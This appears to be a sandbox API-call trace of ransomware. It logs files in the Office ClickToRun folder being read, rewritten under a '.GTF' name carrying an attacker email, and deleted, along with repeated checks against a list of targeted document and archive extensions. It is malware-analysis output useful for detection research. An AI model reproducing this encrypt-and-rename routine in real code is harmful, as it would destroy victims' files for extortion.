	[0087.695] WriteFile (in: hFile=0x340, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0087.695] SetEndOfFile (hFile=0x340) returned 1
	[0087.695] CloseHandle (hObject=0x340) returned 1
	[0087.695] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.695] SetEndOfFile (hFile=0x360) returned 1
	[0087.698] CloseHandle (hObject=0x360) returned 1
	[0087.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.065] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1
	[0088.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.073] lstrlenW (lpString=".doc") returned 4
	[0088.080] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.080] lstrlenW (lpString=".docx") returned 5
	[0088.080] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0088.080] lstrlenW (lpString=".pdf") returned 4
	[0088.080] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.080] lstrlenW (lpString=".xls") returned 4
	[0088.087] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.087] lstrlenW (lpString=".xlsx") returned 5
	[0088.087] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0088.087] lstrlenW (lpString=".ppt") returned 4
	[0088.087] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.094] lstrlenW (lpString=".zip") returned 4
	[0088.094] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.094] lstrlenW (lpString=".rar") returned 4
	[0088.094] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.094] lstrlenW (lpString=".bz2") returned 4
	[0088.094] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.094] lstrlenW (lpString=".7z") returned 3
	[0088.094] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.094] lstrlenW (lpString=".dbf") returned 4
	[0088.094] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.094] lstrlenW (lpString=".1cd") returned 4
	[0088.094] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.094] lstrlenW (lpString=".jpg") returned 4
	[0088.094] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.094] lstrlenW (lpString=".doc") returned 4
	[0088.094] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.094] lstrlenW (lpString=".docx") returned 5
	[0088.094] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0088.094] lstrlenW (lpString=".pdf") returned 4
	[0088.094] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.094] lstrlenW (lpString=".xls") returned 4
	[0088.094] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.094] lstrlenW (lpString=".xlsx") returned 5
	[0088.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0088.095] lstrlenW (lpString=".ppt") returned 4
	[0088.095] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.095] lstrlenW (lpString=".zip") returned 4
	[0088.095] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.095] lstrlenW (lpString=".rar") returned 4
	[0088.095] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.095] lstrlenW (lpString=".bz2") returned 4
	[0088.095] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.095] lstrlenW (lpString=".7z") returned 3
	[0088.095] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.095] lstrlenW (lpString=".dbf") returned 4
	[0088.095] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.095] lstrlenW (lpString=".1cd") returned 4
	[0088.095] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.095] lstrlenW (lpString=".jpg") returned 4
	[0088.095] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.095] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0088.095] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0088.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.095] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=2776664) returned 1
	[0088.095] CloseHandle (hObject=0x378) returned 1
	[0088.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20
	[0088.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0088.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0088.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.097] lstrlenW (lpString=".doc") returned 4
	[0088.097] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.097] lstrlenW (lpString=".docx") returned 5
	[0088.097] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0088.097] lstrlenW (lpString=".pdf") returned 4
	[0088.097] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.097] lstrlenW (lpString=".xls") returned 4
	[0088.097] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.097] lstrlenW (lpString=".xlsx") returned 5
	[0088.097] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0088.097] lstrlenW (lpString=".ppt") returned 4
	[0088.097] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.097] lstrlenW (lpString=".zip") returned 4
	[0088.097] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.097] lstrlenW (lpString=".rar") returned 4
	[0088.097] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.097] lstrlenW (lpString=".bz2") returned 4
	[0088.097] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.098] lstrlenW (lpString=".7z") returned 3
	[0088.098] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.098] lstrlenW (lpString=".dbf") returned 4
	[0088.098] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.098] lstrlenW (lpString=".1cd") returned 4
	[0088.098] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.098] lstrlenW (lpString=".jpg") returned 4
	[0088.098] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.098] lstrlenW (lpString=".doc") returned 4
	[0088.098] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.098] lstrlenW (lpString=".docx") returned 5
	[0088.098] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0088.098] lstrlenW (lpString=".pdf") returned 4
	[0088.098] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.098] lstrlenW (lpString=".xls") returned 4
	[0088.098] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.098] lstrlenW (lpString=".xlsx") returned 5
	[0088.098] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0088.098] lstrlenW (lpString=".ppt") returned 4
	[0088.098] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.098] lstrlenW (lpString=".zip") returned 4
	[0088.098] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.098] lstrlenW (lpString=".rar") returned 4
	[0088.098] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.099] lstrlenW (lpString=".bz2") returned 4
	[0088.099] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.099] lstrlenW (lpString=".7z") returned 3
	[0088.099] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.099] lstrlenW (lpString=".dbf") returned 4
	[0088.100] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.100] lstrlenW (lpString=".1cd") returned 4
	[0088.100] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0088.101] lstrlenW (lpString=".jpg") returned 4
	[0088.101] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.101] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0088.101] lstrlenW (lpString="StreamServer.dll") returned 16
	[0088.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.101] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1053784) returned 1
	[0088.101] CloseHandle (hObject=0x378) returned 1
	[0088.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20
	[0088.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.101] lstrlenW (lpString=".doc") returned 4
	[0088.101] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.101] lstrlenW (lpString=".docx") returned 5
	[0088.101] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0088.102] lstrlenW (lpString=".pdf") returned 4
	[0088.102] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString=".xls") returned 4
	[0088.102] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString=".xlsx") returned 5
	[0088.102] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0088.102] lstrlenW (lpString=".ppt") returned 4
	[0088.102] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.102] lstrlenW (lpString=".zip") returned 4
	[0088.102] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString=".rar") returned 4
	[0088.102] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString=".bz2") returned 4
	[0088.102] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.102] lstrlenW (lpString=".7z") returned 3
	[0088.102] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.102] lstrlenW (lpString=".dbf") returned 4
	[0088.102] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.102] lstrlenW (lpString=".1cd") returned 4
	[0088.102] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.102] lstrlenW (lpString=".jpg") returned 4
	[0088.102] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.102] lstrlenW (lpString=".doc") returned 4
	[0088.102] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString=".docx") returned 5
	[0088.102] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0088.102] lstrlenW (lpString=".pdf") returned 4
	[0088.102] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.102] lstrlenW (lpString=".xls") returned 4
	[0088.103] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.103] lstrlenW (lpString=".xlsx") returned 5
	[0088.103] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0088.103] lstrlenW (lpString=".ppt") returned 4
	[0088.103] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.103] lstrlenW (lpString=".zip") returned 4
	[0088.103] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.103] lstrlenW (lpString=".rar") returned 4
	[0088.103] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.103] lstrlenW (lpString=".bz2") returned 4
	[0088.103] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.103] lstrlenW (lpString=".7z") returned 3
	[0088.103] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.103] lstrlenW (lpString=".dbf") returned 4
	[0088.103] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.103] lstrlenW (lpString=".1cd") returned 4
	[0088.103] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0088.103] lstrlenW (lpString=".jpg") returned 4
	[0088.103] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.103] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0088.103] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0088.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.104] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=982720) returned 1
	[0088.104] CloseHandle (hObject=0x378) returned 1
	[0088.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20
	[0088.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.104] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.104] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.105] GetLastError () returned 0x0
	[0088.105] ReadFile (in: hFile=0x378, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0xefec0, lpOverlapped=0x0) returned 1
	[0088.124] WriteFile (in: hFile=0x35c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xefed0, lpOverlapped=0x0) returned 1
	[0088.316] ReadFile (in: hFile=0x378, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.316] WriteFile (in: hFile=0x35c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.316] SetEndOfFile (hFile=0x35c) returned 1
	[0088.316] CloseHandle (hObject=0x35c) returned 1
	[0088.316] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.316] SetEndOfFile (hFile=0x378) returned 1
	[0088.325] CloseHandle (hObject=0x378) returned 1
	[0088.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0088.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1
	[0088.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.325] lstrlenW (lpString=".doc") returned 4
	[0088.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.325] lstrlenW (lpString=".docx") returned 5
	[0088.325] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0088.325] lstrlenW (lpString=".pdf") returned 4
	[0088.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".xls") returned 4
	[0088.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".xlsx") returned 5
	[0088.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0088.326] lstrlenW (lpString=".ppt") returned 4
	[0088.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.326] lstrlenW (lpString=".zip") returned 4
	[0088.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".rar") returned 4
	[0088.326] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".bz2") returned 4
	[0088.326] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.326] lstrlenW (lpString=".7z") returned 3
	[0088.326] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.326] lstrlenW (lpString=".dbf") returned 4
	[0088.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.326] lstrlenW (lpString=".1cd") returned 4
	[0088.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.326] lstrlenW (lpString=".jpg") returned 4
	[0088.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.326] lstrlenW (lpString=".doc") returned 4
	[0088.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".docx") returned 5
	[0088.326] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0088.326] lstrlenW (lpString=".pdf") returned 4
	[0088.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".xls") returned 4
	[0088.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.326] lstrlenW (lpString=".xlsx") returned 5
	[0088.327] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0088.327] lstrlenW (lpString=".ppt") returned 4
	[0088.327] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0088.327] lstrlenW (lpString=".zip") returned 4
	[0088.327] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.327] lstrlenW (lpString=".rar") returned 4
	[0088.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.327] lstrlenW (lpString=".bz2") returned 4
	[0088.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
